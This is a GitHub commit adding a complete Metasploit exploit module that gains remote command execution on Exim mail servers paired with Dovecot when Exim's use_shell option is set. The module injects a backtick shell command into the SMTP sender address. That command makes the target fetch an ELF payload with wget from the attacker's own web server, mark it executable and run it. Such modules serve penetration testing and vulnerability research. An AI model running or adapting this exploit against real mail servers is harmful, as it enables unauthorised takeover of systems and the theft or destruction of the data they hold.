Skip to content

Commit d76e14f

Browse files
author
jvazquez-r7
committed
Add module for OSVDB 93004 - Exim Dovect exec
1 parent 19a6f31 commit d76e14f

File tree

1 file changed

+217
-0
lines changed

1 file changed

+217
-0
lines changed
Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Smtp
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Exim And Dovecot Insecure Configuration Command Injection',
22+
'Description' => %q{
23+
This module exploits a commnad injection vulnerability when using together
24+
Exim and Dovecot with the use_shell option on the Exim configuration. This module
25+
uses the sender address to inject the arbitrary commands, since is one of the
26+
user-controlled variables used by default on example vulnerable configurations. The
27+
module has been tested successfully on Debian Squeeze by using the default exim4 and
28+
dovecot-common packages.
29+
},
30+
'Author' =>
31+
[
32+
'Unknown', # From redteam-pentesting # Vulnerability Discovery and PoC
33+
'eKKiM', # PoC
34+
'juan vazquez' # Metasploit module
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' =>
38+
[
39+
[ 'OSVDB', '93004' ],
40+
[ 'EDB', '25297' ],
41+
[ 'URL', 'https://www.redteam-pentesting.de/advisories/rt-sa-2013-001' ]
42+
],
43+
'Privileged' => false,
44+
'Arch' => ARCH_X86,
45+
'Platform' => 'linux',
46+
'Payload' =>
47+
{
48+
'DisableNops' => true
49+
},
50+
'Targets' =>
51+
[
52+
[ 'Automatic', { }],
53+
],
54+
'DisclosureDate' => 'May 03 2013',
55+
'DefaultTarget' => 0))
56+
57+
register_options(
58+
[
59+
OptString.new('EHLO', [ true, 'TO address of the e-mail', 'debian.localdomain']),
60+
OptString.new('MAILTO', [ true, 'TO address of the e-mail', '[email protected]']),
61+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
62+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
63+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),
64+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
65+
], self.class)
66+
67+
deregister_options('MAILFROM')
68+
end
69+
70+
# wait for the data to be sent
71+
def wait_linux_payload
72+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
73+
74+
waited = 0
75+
while (not @elf_sent)
76+
select(nil, nil, nil, 1)
77+
waited += 1
78+
if (waited > datastore['HTTP_DELAY'])
79+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
80+
end
81+
end
82+
end
83+
84+
# Handle incoming requests from the server
85+
def on_request_uri(cli, request)
86+
if (not @pl)
87+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
88+
return
89+
end
90+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
91+
@elf_sent = true
92+
send_response(cli, @pl)
93+
end
94+
95+
def exploit
96+
97+
@pl = generate_payload_exe
98+
@elf_sent = false
99+
100+
#
101+
# start our web server to deploy the final payload
102+
#
103+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
104+
resource_uri = '/' + downfile
105+
106+
if (datastore['DOWNHOST'])
107+
service_url_payload = datastore['DOWNHOST'] + resource_uri
108+
else
109+
110+
# Needs to be on the port 80
111+
if datastore['SRVPORT'].to_i != 80
112+
fail_with(Exploit::Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
113+
end
114+
115+
#do not use SSL
116+
if datastore['SSL']
117+
ssl_restore = true
118+
datastore['SSL'] = false
119+
end
120+
121+
#we use SRVHOST as download IP for the coming wget command.
122+
#SRVHOST needs a real IP address of our download host
123+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
124+
srv_host = Rex::Socket.source_address(rhost)
125+
else
126+
srv_host = datastore['SRVHOST']
127+
end
128+
129+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
130+
service_url_payload = srv_host + resource_uri
131+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
132+
start_service({'Uri' => {
133+
'Proc' => Proc.new { |cli, req|
134+
on_request_uri(cli, req)
135+
},
136+
'Path' => resource_uri
137+
}})
138+
139+
datastore['SSL'] = true if ssl_restore
140+
end
141+
142+
143+
connect
144+
145+
print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")
146+
if self.banner.to_s !~ /Exim /
147+
disconnect
148+
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
149+
end
150+
151+
ehlo = datastore['EHLO']
152+
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
153+
ehlo_resp.each_line do |line|
154+
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
155+
end
156+
157+
#
158+
# Initiate the message
159+
#
160+
filename = rand_text_alpha_lower(8)
161+
from = "#{rand_text_alpha(3)}`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}``chmod${IFS}+x${IFS}/tmp/#{filename}``/tmp/#{filename}`@#{ehlo}"
162+
to = datastore['MAILTO']
163+
164+
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
165+
resp ||= 'no response'
166+
msg = "MAIL: #{resp.strip}"
167+
if not resp or resp[0,3] != '250'
168+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
169+
else
170+
print_status("#{rhost}:#{rport} - #{msg}")
171+
end
172+
173+
resp = raw_send_recv("RCPT TO: #{to}\r\n")
174+
resp ||= 'no response'
175+
msg = "RCPT: #{resp.strip}"
176+
if not resp or resp[0,3] != '250'
177+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
178+
else
179+
print_status("#{rhost}:#{rport} - #{msg}")
180+
end
181+
182+
resp = raw_send_recv("DATA\r\n")
183+
resp ||= 'no response'
184+
msg = "DATA: #{resp.strip}"
185+
if not resp or resp[0,3] != '354'
186+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
187+
else
188+
print_status("#{rhost}:#{rport} - #{msg}")
189+
end
190+
191+
message = "Subject: test\r\n"
192+
message << "\r\n"
193+
message << ".\r\n"
194+
195+
resp = raw_send_recv(message)
196+
msg = "DELIVER: #{resp.strip}"
197+
if not resp or resp[0,3] != '250'
198+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
199+
else
200+
print_status("#{rhost}:#{rport} - #{msg}")
201+
end
202+
disconnect
203+
204+
# wait for payload download
205+
if (datastore['DOWNHOST'])
206+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
207+
select(nil, nil, nil, datastore['HTTP_DELAY'])
208+
else
209+
wait_linux_payload
210+
end
211+
register_file_for_cleanup("/tmp/#{filename}")
212+
213+
end
214+
215+
216+
217+
end

0 commit comments

Comments
 (0)